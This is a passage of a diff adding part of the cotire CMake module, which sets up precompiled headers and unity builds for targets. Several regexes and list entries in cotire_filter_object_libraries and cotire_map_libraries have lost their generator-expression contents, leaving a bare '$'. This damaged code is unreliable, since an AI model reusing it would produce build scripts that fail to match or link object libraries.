_numberOfSources) + if (NOT _numberOfSources LESS ${COTIRE_MINIMUM_NUMBER_OF_TARGET_SOURCES}) + list (APPEND _pchEligibleTargetLanguages ${_language}) + endif() + if (_excludedSources) + list (APPEND _allExcludedSourceFiles ${_excludedSources}) + endif() + if (_cotiredSources) + list (APPEND _allCotiredSourceFiles ${_cotiredSources}) + endif() + endforeach() + set (_targetMsgLevel STATUS) + if (NOT _targetLanguages) + string (REPLACE ";" " or " _languagesStr "${_languages}") + set (_disableMsg "No ${_languagesStr} source files.") + set (_targetUsePCH FALSE) + set (_targetAddSCU FALSE) + endif() + if (_targetUsePCH) + if (_allCotiredSourceFiles) + cotire_get_source_file_property_values(_cotireTargets COTIRE_TARGET ${_allCotiredSourceFiles}) + list (REMOVE_DUPLICATES _cotireTargets) + string (REPLACE ";" ", " _cotireTargetsStr "${_cotireTargets}") + set (_disableMsg "Target sources already include a precompiled header for target(s) ${_cotireTargets}.") + set (_disableMsg "${_disableMsg} Set target property COTIRE_ENABLE_PRECOMPILED_HEADER to FALSE for targets ${_target},") + set (_disableMsg "${_disableMsg} ${_cotireTargetsStr} to get a workable build system.") + set (_targetMsgLevel SEND_ERROR) + set (_targetUsePCH FALSE) + elseif (NOT _pchEligibleTargetLanguages) + set (_disableMsg "Too few applicable sources.") + set (_targetUsePCH FALSE) + elseif (XCODE AND _allExcludedSourceFiles) + # for Xcode, we cannot apply the precompiled header to individual sources, only to the whole target + set (_disableMsg "Exclusion of source files not supported for generator Xcode.") + set (_targetUsePCH FALSE) + elseif (XCODE AND "${_targetType}" STREQUAL "OBJECT_LIBRARY") + # for Xcode, we cannot apply the required PRE_BUILD action to generate the prefix header to an OBJECT_LIBRARY target + set (_disableMsg "Required PRE_BUILD action not supported for OBJECT_LIBRARY targets for generator Xcode.") + set (_targetUsePCH FALSE) + endif() + endif() + set_property(TARGET ${_target} PROPERTY COTIRE_ENABLE_PRECOMPILED_HEADER ${_targetUsePCH}) + set_property(TARGET ${_target} PROPERTY COTIRE_ADD_UNITY_BUILD ${_targetAddSCU}) + cotire_make_target_message(${_target} "${_targetLanguages}" "${_disableMsg}" _targetMsg ${_allExcludedSourceFiles}) + if (_targetMsg) + if (NOT DEFINED COTIREMSG_${_target}) + set (COTIREMSG_${_target} "") + endif() + if (COTIRE_VERBOSE OR NOT "${_targetMsgLevel}" STREQUAL "STATUS" OR + NOT "${COTIREMSG_${_target}}" STREQUAL "${_targetMsg}") + # cache message to avoid redundant messages on re-configure + set (COTIREMSG_${_target} "${_targetMsg}" CACHE INTERNAL "${_target} cotire message.") + message (${_targetMsgLevel} "${_targetMsg}") + endif() + endif() + list (LENGTH _targetLanguages _numberOfLanguages) + if (_numberOfLanguages GREATER 1 OR _allExcludedSourceFiles) + set (${_wholeTargetVar} FALSE PARENT_SCOPE) + else() + set (${_wholeTargetVar} TRUE PARENT_SCOPE) + endif() + set (${_targetLanguagesVar} ${_targetLanguages} PARENT_SCOPE) +endfunction() + +function (cotire_compute_unity_max_number_of_includes _target _maxIncludesVar) + set (_sourceFiles ${ARGN}) + get_target_property(_maxIncludes ${_target} COTIRE_UNITY_SOURCE_MAXIMUM_NUMBER_OF_INCLUDES) + if (_maxIncludes MATCHES "(-j|--parallel|--jobs) ?([0-9]*)") + set (_numberOfThreads "${CMAKE_MATCH_2}") + if (NOT _numberOfThreads) + # use all available cores + ProcessorCount(_numberOfThreads) + endif() + list (LENGTH _sourceFiles _numberOfSources) + math (EXPR _maxIncludes "(${_numberOfSources} + ${_numberOfThreads} - 1) / ${_numberOfThreads}") + elseif (NOT _maxIncludes MATCHES "[0-9]+") + set (_maxIncludes 0) + endif() + if (COTIRE_DEBUG) + message (STATUS "${_target} unity source max includes: ${_maxIncludes}") + endif() + set (${_maxIncludesVar} ${_maxIncludes} PARENT_SCOPE) +endfunction() + +function (cotire_process_target_language _language _configurations _target _wholeTarget _cmdsVar) + set (${_cmdsVar} "" PARENT_SCOPE) + get_target_property(_targetSourceFiles ${_target} SOURCES) + set (_sourceFiles "") + set (_excludedSources "") + set (_cotiredSources "") + cotire_filter_language_source_files(${_language} ${_target} _sourceFiles _excludedSources _cotiredSources ${_targetSourceFiles}) + if (NOT _sourceFiles AND NOT _cotiredSources) + return() + endif() + set (_cmds "") + # check for user provided unity source file list + get_property(_unitySourceFiles TARGET ${_target} PROPERTY COTIRE_${_language}_UNITY_SOURCE_INIT) + if (NOT _unitySourceFiles) + set (_unitySourceFiles ${_sourceFiles} ${_cotiredSources}) + endif() + cotire_generate_target_script( + ${_language} "${_configurations}" ${_target} _targetScript _targetConfigScript ${_unitySourceFiles}) + # set up unity files for parallel compilation + cotire_compute_unity_max_number_of_includes(${_target} _maxIncludes ${_unitySourceFiles}) + cotire_make_unity_source_file_paths(${_language} ${_target} ${_maxIncludes} _unityFiles ${_unitySourceFiles}) + list (LENGTH _unityFiles _numberOfUnityFiles) + if (_numberOfUnityFiles EQUAL 0) + return() + elseif (_numberOfUnityFiles GREATER 1) + cotire_setup_unity_generation_commands( + ${_language} ${_target} "${_targetScript}" "${_targetConfigScript}" "${_unityFiles}" _cmds ${_unitySourceFiles}) + endif() + # set up single unity file for prefix header generation + cotire_make_single_unity_source_file_path(${_language} ${_target} _unityFile) + cotire_setup_unity_generation_commands( + ${_language} ${_target} "${_targetScript}" "${_targetConfigScript}" "${_unityFile}" _cmds ${_unitySourceFiles}) + cotire_make_prefix_file_path(${_language} ${_target} _prefixFile) + # set up prefix header + if (_prefixFile) + # check for user provided prefix header files + get_property(_prefixHeaderFiles TARGET ${_target} PROPERTY COTIRE_${_language}_PREFIX_HEADER_INIT) + if (_prefixHeaderFiles) + cotire_setup_prefix_generation_from_provided_command( + ${_language} ${_target} "${_targetConfigScript}" "${_prefixFile}" _cmds ${_prefixHeaderFiles}) + else() + cotire_setup_prefix_generation_from_unity_command( + ${_language} ${_target} "${_targetConfigScript}" "${_prefixFile}" "${_unityFile}" _cmds ${_unitySourceFiles}) + endif() + # check if selected language has enough sources at all + list (LENGTH _sourceFiles _numberOfSources) + if (_numberOfSources LESS ${COTIRE_MINIMUM_NUMBER_OF_TARGET_SOURCES}) + set (_targetUsePCH FALSE) + else() + get_target_property(_targetUsePCH ${_target} COTIRE_ENABLE_PRECOMPILED_HEADER) + endif() + if (_targetUsePCH) + cotire_make_pch_file_path(${_language} ${_target} _pchFile) + if (_pchFile) + # first file in _sourceFiles is passed as the host file + cotire_setup_pch_file_compilation( + ${_language} ${_target} "${_targetConfigScript}" "${_prefixFile}" "${_pchFile}" ${_sourceFiles}) + cotire_setup_pch_file_inclusion( + ${_language} ${_target} ${_wholeTarget} "${_prefixFile}" "${_pchFile}" ${_sourceFiles}) + endif() + elseif (_prefixHeaderFiles) + # user provided prefix header must be included unconditionally + cotire_setup_prefix_file_inclusion(${_language} ${_target} "${_prefixFile}" ${_sourceFiles}) + endif() + endif() + # mark target as cotired for language + set_property(TARGET ${_target} PROPERTY COTIRE_${_language}_UNITY_SOURCE "${_unityFiles}") + if (_prefixFile) + set_property(TARGET ${_target} PROPERTY COTIRE_${_language}_PREFIX_HEADER "${_prefixFile}") + if (_targetUsePCH AND _pchFile) + set_property(TARGET ${_target} PROPERTY COTIRE_${_language}_PRECOMPILED_HEADER "${_pchFile}") + endif() + endif() + set (${_cmdsVar} ${_cmds} PARENT_SCOPE) +endfunction() + +function (cotire_setup_clean_target _target) + set (_cleanTargetName "${_target}${COTIRE_CLEAN_TARGET_SUFFIX}") + if (NOT TARGET "${_cleanTargetName}") + cotire_set_cmd_to_prologue(_cmds) + get_filename_component(_outputDir "${CMAKE_CURRENT_BINARY_DIR}/${CMAKE_CFG_INTDIR}" ABSOLUTE) + list (APPEND _cmds -P "${COTIRE_CMAKE_MODULE_FILE}" "cleanup" "${_outputDir}" "${COTIRE_INTDIR}" "${_target}") + add_custom_target(${_cleanTargetName} + COMMAND ${_cmds} + WORKING_DIRECTORY "${CMAKE_BINARY_DIR}" + COMMENT "Cleaning up target ${_target} cotire generated files" + VERBATIM) + cotire_init_target("${_cleanTargetName}") + endif() +endfunction() + +function (cotire_setup_pch_target _languages _configurations _target) + if ("${CMAKE_GENERATOR}" MATCHES "Make|Ninja") + # for makefile based generators, we add a custom target to trigger the generation of the cotire related files + set (_dependsFiles "") + foreach (_language ${_languages}) + set (_props COTIRE_${_language}_PREFIX_HEADER COTIRE_${_language}_UNITY_SOURCE) + if (NOT CMAKE_${_language}_COMPILER_ID MATCHES "MSVC|Intel") + # Visual Studio and Intel only create precompiled header as a side effect + list (INSERT _props 0 COTIRE_${_language}_PRECOMPILED_HEADER) + endif() + cotire_get_first_set_property_value(_dependsFile TARGET ${_target} ${_props}) + if (_dependsFile) + list (APPEND _dependsFiles "${_dependsFile}") + endif() + endforeach() + if (_dependsFiles) + set (_pchTargetName "${_target}${COTIRE_PCH_TARGET_SUFFIX}") + add_custom_target("${_pchTargetName}" DEPENDS ${_dependsFiles}) + cotire_init_target("${_pchTargetName}") + cotire_add_to_pch_all_target(${_pchTargetName}) + endif() + else() + # for other generators, we add the "clean all" target to clean up the precompiled header + cotire_setup_clean_all_target() + endif() +endfunction() + +function (cotire_filter_object_libraries _target _objectLibrariesVar) + set (_objectLibraries "") + foreach (_source ${ARGN}) + if (_source MATCHES "^\\$$") + list (APPEND _objectLibraries "${_source}") + endif() + endforeach() + set (${_objectLibrariesVar} ${_objectLibraries} PARENT_SCOPE) +endfunction() + +function (cotire_collect_unity_target_sources _target _languages _unityTargetSourcesVar) + get_target_property(_targetSourceFiles ${_target} SOURCES) + set (_unityTargetSources ${_targetSourceFiles}) + foreach (_language ${_languages}) + get_property(_unityFiles TARGET ${_target} PROPERTY COTIRE_${_language}_UNITY_SOURCE) + if (_unityFiles) + # remove source files that are included in the unity source + set (_sourceFiles "") + set (_excludedSources "") + set (_cotiredSources "") + cotire_filter_language_source_files(${_language} ${_target} _sourceFiles _excludedSources _cotiredSources ${_targetSourceFiles}) + if (_sourceFiles OR _cotiredSources) + list (REMOVE_ITEM _unityTargetSources ${_sourceFiles} ${_cotiredSources}) + endif() + # add unity source files instead + list (APPEND _unityTargetSources ${_unityFiles}) + endif() + endforeach() + get_target_property(_linkLibrariesStrategy ${_target} COTIRE_UNITY_LINK_LIBRARIES_INIT) + if ("${_linkLibrariesStrategy}" MATCHES "^COPY_UNITY$") + cotire_filter_object_libraries(${_target} _objectLibraries ${_targetSourceFiles}) + if (_objectLibraries) + cotire_map_libraries("${_linkLibrariesStrategy}" _unityObjectLibraries ${_objectLibraries}) + list (REMOVE_ITEM _unityTargetSources ${_objectLibraries}) + list (APPEND _unityTargetSources ${_unityObjectLibraries}) + endif() + endif() + set (${_unityTargetSourcesVar} ${_unityTargetSources} PARENT_SCOPE) +endfunction() + +function (cotire_setup_unity_target_pch_usage _languages _target) + foreach (_language ${_languages}) + get_property(_unityFiles TARGET ${_target} PROPERTY COTIRE_${_language}_UNITY_SOURCE) + if (_unityFiles) + get_property(_userPrefixFile TARGET ${_target} PROPERTY COTIRE_${_language}_PREFIX_HEADER_INIT) + get_property(_prefixFile TARGET ${_target} PROPERTY COTIRE_${_language}_PREFIX_HEADER) + if (_userPrefixFile AND _prefixFile) + # user provided prefix header must be included unconditionally by unity sources + cotire_setup_prefix_file_inclusion(${_language} ${_target} "${_prefixFile}" ${_unityFiles}) + endif() + endif() + endforeach() +endfunction() + +function (cotire_setup_unity_build_target _languages _configurations _target) + get_target_property(_unityTargetName ${_target} COTIRE_UNITY_TARGET_NAME) + if (NOT _unityTargetName) + set (_unityTargetName "${_target}${COTIRE_UNITY_BUILD_TARGET_SUFFIX}") + endif() + # determine unity target sub type + get_target_property(_targetType ${_target} TYPE) + if ("${_targetType}" STREQUAL "EXECUTABLE") + set (_unityTargetSubType "") + elseif (_targetType MATCHES "(STATIC|SHARED|MODULE|OBJECT)_LIBRARY") + set (_unityTargetSubType "${CMAKE_MATCH_1}") + else() + message (WARNING "cotire: target ${_target} has unknown target type ${_targetType}.") + return() + endif() + # determine unity target sources + set (_unityTargetSources "") + cotire_collect_unity_target_sources(${_target} "${_languages}" _unityTargetSources) + # handle automatic Qt processing + get_target_property(_targetAutoMoc ${_target} AUTOMOC) + get_target_property(_targetAutoUic ${_target} AUTOUIC) + get_target_property(_targetAutoRcc ${_target} AUTORCC) + if (_targetAutoMoc OR _targetAutoUic OR _targetAutoRcc) + # if the original target sources are subject to CMake's automatic Qt processing, + # also include implicitly generated _automoc.cpp file + if (CMAKE_VERSION VERSION_LESS "3.8.0") + list (APPEND _unityTargetSources "${_target}_automoc.cpp") + set_property (SOURCE "${_target}_automoc.cpp" PROPERTY GENERATED TRUE) + else() + list (APPEND _unityTargetSources "${_target}_autogen/moc_compilation.cpp") + set_property (SOURCE "${_target}_autogen/moc_compilation.cpp" PROPERTY GENERATED TRUE) + endif() + endif() + # prevent AUTOMOC, AUTOUIC and AUTORCC properties from being set when the unity target is created + set (CMAKE_AUTOMOC OFF) + set (CMAKE_AUTOUIC OFF) + set (CMAKE_AUTORCC OFF) + if (COTIRE_DEBUG) + message (STATUS "add target ${_targetType} ${_unityTargetName} ${_unityTargetSubType} EXCLUDE_FROM_ALL ${_unityTargetSources}") + endif() + # generate unity target + if ("${_targetType}" STREQUAL "EXECUTABLE") + add_executable(${_unityTargetName} ${_unityTargetSubType} EXCLUDE_FROM_ALL ${_unityTargetSources}) + else() + add_library(${_unityTargetName} ${_unityTargetSubType} EXCLUDE_FROM_ALL ${_unityTargetSources}) + endif() + if ("${CMAKE_GENERATOR}" MATCHES "Visual Studio") + # depend on original target's automoc target, if it exists + if (TARGET ${_target}_automoc) + add_dependencies(${_unityTargetName} ${_target}_automoc) + endif() + else() + if (_targetAutoMoc OR _targetAutoUic OR _targetAutoRcc) + # depend on the original target's implicity generated _automoc target + if (CMAKE_VERSION VERSION_LESS "3.8.0") + add_dependencies(${_unityTargetName} ${_target}_automoc) + else() + add_dependencies(${_unityTargetName} ${_target}_autogen) + endif() + endif() + endif() + # copy output location properties + set (_outputDirProperties + ARCHIVE_OUTPUT_DIRECTORY ARCHIVE_OUTPUT_DIRECTORY_ + LIBRARY_OUTPUT_DIRECTORY LIBRARY_OUTPUT_DIRECTORY_ + RUNTIME_OUTPUT_DIRECTORY RUNTIME_OUTPUT_DIRECTORY_) + if (COTIRE_UNITY_OUTPUT_DIRECTORY) + set (_setDefaultOutputDir TRUE) + if (IS_ABSOLUTE "${COTIRE_UNITY_OUTPUT_DIRECTORY}") + set (_outputDir "${COTIRE_UNITY_OUTPUT_DIRECTORY}") + else() + # append relative COTIRE_UNITY_OUTPUT_DIRECTORY to target's actual output directory + cotire_copy_set_properties("${_configurations}" TARGET ${_target} ${_unityTargetName} ${_outputDirProperties}) + cotire_resolve_config_properties("${_configurations}" _properties ${_outputDirProperties}) + foreach (_property ${_properties}) + get_property(_outputDir TARGET ${_target} PROPERTY ${_property}) + if (_outputDir) + get_filename_component(_outputDir "${_outputDir}/${COTIRE_UNITY_OUTPUT_DIRECTORY}" ABSOLUTE) + set_property(TARGET ${_unityTargetName} PROPERTY ${_property} "${_outputDir}") + set (_setDefaultOutputDir FALSE) + endif() + endforeach() + if (_setDefaultOutputDir) + get_filename_component(_outputDir "${CMAKE_CURRENT_BINARY_DIR}/${COTIRE_UNITY_OUTPUT_DIRECTORY}" ABSOLUTE) + endif() + endif() + if (_setDefaultOutputDir) + set_target_properties(${_unityTargetName} PROPERTIES + ARCHIVE_OUTPUT_DIRECTORY "${_outputDir}" + LIBRARY_OUTPUT_DIRECTORY "${_outputDir}" + RUNTIME_OUTPUT_DIRECTORY "${_outputDir}") + endif() + else() + cotire_copy_set_properties("${_configurations}" TARGET ${_target} ${_unityTargetName} + ${_outputDirProperties}) + endif() + # copy output name + cotire_copy_set_properties("${_configurations}" TARGET ${_target} ${_unityTargetName} + ARCHIVE_OUTPUT_NAME ARCHIVE_OUTPUT_NAME_ + LIBRARY_OUTPUT_NAME LIBRARY_OUTPUT_NAME_ + OUTPUT_NAME OUTPUT_NAME_ + RUNTIME_OUTPUT_NAME RUNTIME_OUTPUT_NAME_ + PREFIX _POSTFIX SUFFIX + IMPORT_PREFIX IMPORT_SUFFIX) + # copy compile stuff + cotire_copy_set_properties("${_configurations}" TARGET ${_target} ${_unityTargetName} + COMPILE_DEFINITIONS COMPILE_DEFINITIONS_ + COMPILE_FLAGS COMPILE_OPTIONS + Fortran_FORMAT Fortran_MODULE_DIRECTORY + INCLUDE_DIRECTORIES + INTERPROCEDURAL_OPTIMIZATION INTERPROCEDURAL_OPTIMIZATION_ + POSITION_INDEPENDENT_CODE + C_COMPILER_LAUNCHER CXX_COMPILER_LAUNCHER + C_INCLUDE_WHAT_YOU_USE CXX_INCLUDE_WHAT_YOU_USE + C_VISIBILITY_PRESET CXX_VISIBILITY_PRESET VISIBILITY_INLINES_HIDDEN + C_CLANG_TIDY CXX_CLANG_TIDY) + # copy compile features + cotire_copy_set_properties("${_configurations}" TARGET ${_target} ${_unityTargetName} + C_EXTENSIONS C_STANDARD C_STANDARD_REQUIRED + CXX_EXTENSIONS CXX_STANDARD CXX_STANDARD_REQUIRED + COMPILE_FEATURES) + # copy interface stuff + cotire_copy_set_properties("${_configurations}" TARGET ${_target} ${_unityTargetName} + COMPATIBLE_INTERFACE_BOOL COMPATIBLE_INTERFACE_NUMBER_MAX COMPATIBLE_INTERFACE_NUMBER_MIN + COMPATIBLE_INTERFACE_STRING + INTERFACE_COMPILE_DEFINITIONS INTERFACE_COMPILE_FEATURES INTERFACE_COMPILE_OPTIONS + INTERFACE_INCLUDE_DIRECTORIES INTERFACE_SOURCES + INTERFACE_POSITION_INDEPENDENT_CODE INTERFACE_SYSTEM_INCLUDE_DIRECTORIES + INTERFACE_AUTOUIC_OPTIONS NO_SYSTEM_FROM_IMPORTED) + # copy link stuff + cotire_copy_set_properties("${_configurations}" TARGET ${_target} ${_unityTargetName} + BUILD_WITH_INSTALL_RPATH INSTALL_RPATH INSTALL_RPATH_USE_LINK_PATH SKIP_BUILD_RPATH + LINKER_LANGUAGE LINK_DEPENDS LINK_DEPENDS_NO_SHARED + LINK_FLAGS LINK_FLAGS_ + LINK_INTERFACE_LIBRARIES LINK_INTERFACE_LIBRARIES_ + LINK_INTERFACE_MULTIPLICITY LINK_INTERFACE_MULTIPLICITY_ + LINK_SEARCH_START_STATIC LINK_SEARCH_END_STATIC + STATIC_LIBRARY_FLAGS STATIC_LIBRARY_FLAGS_ + NO_SONAME SOVERSION VERSION + LINK_WHAT_YOU_USE BUILD_RPATH) + # copy cmake stuff + cotire_copy_set_properties("${_configurations}" TARGET ${_target} ${_unityTargetName} + IMPLICIT_DEPENDS_INCLUDE_TRANSFORM RULE_LAUNCH_COMPILE RULE_LAUNCH_CUSTOM RULE_LAUNCH_LINK) + # copy Apple platform specific stuff + cotire_copy_set_properties("${_configurations}" TARGET ${_target} ${_unityTargetName} + BUNDLE BUNDLE_EXTENSION FRAMEWORK FRAMEWORK_VERSION INSTALL_NAME_DIR + MACOSX_BUNDLE MACOSX_BUNDLE_INFO_PLIST MACOSX_FRAMEWORK_INFO_PLIST MACOSX_RPATH + OSX_ARCHITECTURES OSX_ARCHITECTURES_ PRIVATE_HEADER PUBLIC_HEADER RESOURCE XCTEST + IOS_INSTALL_COMBINED XCODE_EXPLICIT_FILE_TYPE XCODE_PRODUCT_TYPE) + # copy Windows platform specific stuff + cotire_copy_set_properties("${_configurations}" TARGET ${_target} ${_unityTargetName} + GNUtoMS + COMPILE_PDB_NAME COMPILE_PDB_NAME_ + COMPILE_PDB_OUTPUT_DIRECTORY COMPILE_PDB_OUTPUT_DIRECTORY_ + PDB_NAME PDB_NAME_ PDB_OUTPUT_DIRECTORY PDB_OUTPUT_DIRECTORY_ + VS_DESKTOP_EXTENSIONS_VERSION VS_DOTNET_REFERENCES VS_DOTNET_TARGET_FRAMEWORK_VERSION + VS_GLOBAL_KEYWORD VS_GLOBAL_PROJECT_TYPES VS_GLOBAL_ROOTNAMESPACE + VS_IOT_EXTENSIONS_VERSION VS_IOT_STARTUP_TASK + VS_KEYWORD VS_MOBILE_EXTENSIONS_VERSION + VS_SCC_AUXPATH VS_SCC_LOCALPATH VS_SCC_PROJECTNAME VS_SCC_PROVIDER + VS_WINDOWS_TARGET_PLATFORM_MIN_VERSION + VS_WINRT_COMPONENT VS_WINRT_EXTENSIONS VS_WINRT_REFERENCES + WIN32_EXECUTABLE WINDOWS_EXPORT_ALL_SYMBOLS + DEPLOYMENT_REMOTE_DIRECTORY VS_CONFIGURATION_TYPE + VS_SDK_REFERENCES VS_USER_PROPS VS_DEBUGGER_WORKING_DIRECTORY) + # copy Android platform specific stuff + cotire_copy_set_properties("${_configurations}" TARGET ${_target} ${_unityTargetName} + ANDROID_API ANDROID_API_MIN ANDROID_GUI + ANDROID_ANT_ADDITIONAL_OPTIONS ANDROID_ARCH ANDROID_ASSETS_DIRECTORIES + ANDROID_JAR_DEPENDENCIES ANDROID_JAR_DIRECTORIES ANDROID_JAVA_SOURCE_DIR + ANDROID_NATIVE_LIB_DEPENDENCIES ANDROID_NATIVE_LIB_DIRECTORIES + ANDROID_PROCESS_MAX ANDROID_PROGUARD ANDROID_PROGUARD_CONFIG_PATH + ANDROID_SECURE_PROPS_PATH ANDROID_SKIP_ANT_STEP ANDROID_STL_TYPE) + # use output name from original target + get_target_property(_targetOutputName ${_unityTargetName} OUTPUT_NAME) + if (NOT _targetOutputName) + set_property(TARGET ${_unityTargetName} PROPERTY OUTPUT_NAME "${_target}") + endif() + # use export symbol from original target + cotire_get_target_export_symbol("${_target}" _defineSymbol) + if (_defineSymbol) + set_property(TARGET ${_unityTargetName} PROPERTY DEFINE_SYMBOL "${_defineSymbol}") + if ("${_targetType}" STREQUAL "EXECUTABLE") + set_property(TARGET ${_unityTargetName} PROPERTY ENABLE_EXPORTS TRUE) + endif() + endif() + cotire_init_target(${_unityTargetName}) + cotire_add_to_unity_all_target(${_unityTargetName}) + set_property(TARGET ${_target} PROPERTY COTIRE_UNITY_TARGET_NAME "${_unityTargetName}") +endfunction(cotire_setup_unity_build_target) + +function (cotire_target _target) + set(_options "") + set(_oneValueArgs "") + set(_multiValueArgs LANGUAGES CONFIGURATIONS) + cmake_parse_arguments(_option "${_options}" "${_oneValueArgs}" "${_multiValueArgs}" ${ARGN}) + if (NOT _option_LANGUAGES) + get_property (_option_LANGUAGES GLOBAL PROPERTY ENABLED_LANGUAGES) + endif() + if (NOT _option_CONFIGURATIONS) + cotire_get_configuration_types(_option_CONFIGURATIONS) + endif() + # check if cotire can be applied to target at all + cotire_is_target_supported(${_target} _isSupported) + if (NOT _isSupported) + get_target_property(_imported ${_target} IMPORTED) + get_target_property(_targetType ${_target} TYPE) + if (_imported) + message (WARNING "cotire: imported ${_targetType} target ${_target} cannot be cotired.") + else() + message (STATUS "cotire: ${_targetType} target ${_target} cannot be cotired.") + endif() + return() + endif() + # resolve alias + get_target_property(_aliasName ${_target} ALIASED_TARGET) + if (_aliasName) + if (COTIRE_DEBUG) + message (STATUS "${_target} is an alias. Applying cotire to aliased target ${_aliasName} instead.") + endif() + set (_target ${_aliasName}) + endif() + # check if target needs to be cotired for build type + # when using configuration types, the test is performed at build time + cotire_init_cotire_target_properties(${_target}) + if (NOT CMAKE_CONFIGURATION_TYPES) + if (CMAKE_BUILD_TYPE) + list (FIND _option_CONFIGURATIONS "${CMAKE_BUILD_TYPE}" _index) + else() + list (FIND _option_CONFIGURATIONS "None" _index) + endif() + if (_index EQUAL -1) + if (COTIRE_DEBUG) + message (STATUS "CMAKE_BUILD_TYPE=${CMAKE_BUILD_TYPE} not cotired (${_option_CONFIGURATIONS})") + endif() + return() + endif() + endif() + # when not using configuration types, immediately create cotire intermediate dir + if (NOT CMAKE_CONFIGURATION_TYPES) + cotire_get_intermediate_dir(_baseDir) + file (MAKE_DIRECTORY "${_baseDir}") + endif() + # choose languages that apply to the target + cotire_choose_target_languages("${_target}" _targetLanguages _wholeTarget ${_option_LANGUAGES}) + if (NOT _targetLanguages) + return() + endif() + set (_cmds "") + foreach (_language ${_targetLanguages}) + cotire_process_target_language("${_language}" "${_option_CONFIGURATIONS}" ${_target} ${_wholeTarget} _cmd) + if (_cmd) + list (APPEND _cmds ${_cmd}) + endif() + endforeach() + get_target_property(_targetAddSCU ${_target} COTIRE_ADD_UNITY_BUILD) + if (_targetAddSCU) + cotire_setup_unity_build_target("${_targetLanguages}" "${_option_CONFIGURATIONS}" ${_target}) + endif() + get_target_property(_targetUsePCH ${_target} COTIRE_ENABLE_PRECOMPILED_HEADER) + if (_targetUsePCH) + cotire_setup_target_pch_usage("${_targetLanguages}" ${_target} ${_wholeTarget} ${_cmds}) + cotire_setup_pch_target("${_targetLanguages}" "${_option_CONFIGURATIONS}" ${_target}) + if (_targetAddSCU) + cotire_setup_unity_target_pch_usage("${_targetLanguages}" ${_target}) + endif() + endif() + get_target_property(_targetAddCleanTarget ${_target} COTIRE_ADD_CLEAN) + if (_targetAddCleanTarget) + cotire_setup_clean_target(${_target}) + endif() +endfunction(cotire_target) + +function (cotire_map_libraries _strategy _mappedLibrariesVar) + set (_mappedLibraries "") + foreach (_library ${ARGN}) + if (_library MATCHES "^\\$$") + set (_libraryName "${CMAKE_MATCH_1}") + set (_linkOnly TRUE) + set (_objectLibrary FALSE) + elseif (_library MATCHES "^\\$$") + set (_libraryName "${CMAKE_MATCH_1}") + set (_linkOnly FALSE) + set (_objectLibrary TRUE) + else() + set (_libraryName "${_library}") + set (_linkOnly FALSE) + set (_objectLibrary FALSE) + endif() + if ("${_strategy}" MATCHES "COPY_UNITY") + cotire_is_target_supported(${_libraryName} _isSupported) + if (_isSupported) + # use target's corresponding unity target, if available + get_target_property(_libraryUnityTargetName ${_libraryName} COTIRE_UNITY_TARGET_NAME) + if (TARGET "${_libraryUnityTargetName}") + if (_linkOnly) + list (APPEND _mappedLibraries "$") + elseif (_objectLibrary) + list (APPEND _mappedLibraries "$") + else() + list (APPEND _mappedLibraries "${_libraryUnityTargetName}") + endif() + else() + list (APPEND _mappedLibraries "${_library}") + endif() + else() + list (APPEND _mappedLibraries "${_library}") + endif() + else() + list (APPEND _mappedLibraries "${_library}") + endif() + endforeach() + list (REMOVE_DUPLICATES _mappedLibraries) + set (${_mappedLibrariesVar} ${_mappedLibraries} PARENT_SCOPE) +endfunction() + +function (cotire_target_link_libraries _target) + cotire_is_target_supported(${_target} _isSupported) + if (NOT _isSupported) + return() + endif() + get_target_property(_unityTargetName ${_target} COTIRE_UNITY_TARGET_NAME) + if (TARGET "${_unityTargetName}") + get_target_property(_linkLibrariesStrategy ${_target} COTIRE_UNITY_LINK_LIBRARIES_INIT) + if (COTIRE_DEBUG) + message (STATUS "unity target ${_unityTargetName} link strategy: ${_linkLibrariesStrategy}") + endif() + if ("${_linkLibrariesStrategy}" MATCHES "^(COPY|COPY_UNITY)$") + get_target_property(_linkLibraries ${_target} LINK_LIBRARIES) + if (_linkLibraries) + cotire_map_libraries("${_linkLibrariesStrategy}" _unityLinkLibraries ${_linkLibraries}) + set_target_properties(${_unityTargetName} PROPERTIES LINK_LIBRARIES "${_unityLinkLibraries}") + if (COTIRE_DEBUG) + message (STATUS "unity target ${_unityTargetName} link libraries: ${_unityLinkLibraries}") + endif() + endif() + get_target_property(_interfaceLinkLibraries ${_target} INTERFACE_LINK_LIBRARIES) + if (_interfaceLinkLibraries) + cotire_map_libraries("${_linkLibrariesStrategy}" _unityLinkInterfaceLibraries ${_interfaceLinkLibraries}) + set_target_properties(${_unityTargetName} PROPERTIES INTERFACE_LINK_LIBRARIES "${_unityLinkInterfaceLibraries}") + if (COTIRE_DEBUG) + message (STATUS "unity target ${_unityTargetName} interface link libraries: ${_unityLinkInterfaceLibraries}") + endif() + endif() + endif() + endif() +endfunction(cotire_target_link_libraries) + +function (cotire_cleanup _binaryDir _cotireIntermediateDirName _targetName) + if (_targetName) + file (GLOB_RECURSE _cotireFiles "${_binaryDir}/${_targetName}*.*") + else() + file (GLOB_RECURSE _cotireFiles "${_binaryDir}/*.*") + endif() + # filter files in intermediate directory + set (_filesToRemove "") + foreach (_file ${_cotireFiles}) + get_filename_component(_dir "${_file}" DIRECTORY) + get_filename_component(_dirName "${_dir}" NAME) + if ("${_dirName}" STREQUAL "${_cotireIntermediateDirName}") + list (APPEND _filesToRemove "${_file}") + endif() + endforeach() + if (_filesToRemove) + if (COTIRE_VERBOSE) + message (STATUS "cleaning up ${_filesToRemove}") + endif() + file (REMOVE ${_filesToRemove}) + endif() +endfunction() + +function (cotire_init_target _targetName) + if (COTIRE_TARGETS_FOLDER) + set_target_properties(${_targetName} PROPERTIES FOLDER "${COTIRE_TARGETS_FOLDER}") + endif() + set_target_properties(${_targetName} PROPERTIES EXCLUDE_FROM_ALL TRUE) + if (MSVC_IDE) + set_target_properties(${_targetName} PROPERTIES EXCLUDE_FROM_DEFAULT_BUILD TRUE) + endif() +endfunction() + +function (cotire_add_to_pch_all_target _pchTargetName) + set (_targetName "${COTIRE_PCH_ALL_TARGET_NAME}") + if (NOT TARGET "${_targetName}") + add_custom_target("${_targetName}" + WORKING_DIRECTORY "${CMAKE_BINARY_DIR}" + VERBATIM) + cotire_init_target("${_targetName}") + endif() + cotire_setup_clean_all_target() + add_dependencies(${_targetName} ${_pchTargetName}) +endfunction() + +function (cotire_add_to_unity_all_target _unityTargetName) + set (_targetName "${COTIRE_UNITY_BUILD_ALL_TARGET_NAME}") + if (NOT TARGET "${_targetName}") + add_custom_target("${_targetName}" + WORKING_DIRECTORY "${CMAKE_BINARY_DIR}" + VERBATIM) + cotire_init_target("${_targetName}") + endif() + cotire_setup_clean_all_target() + 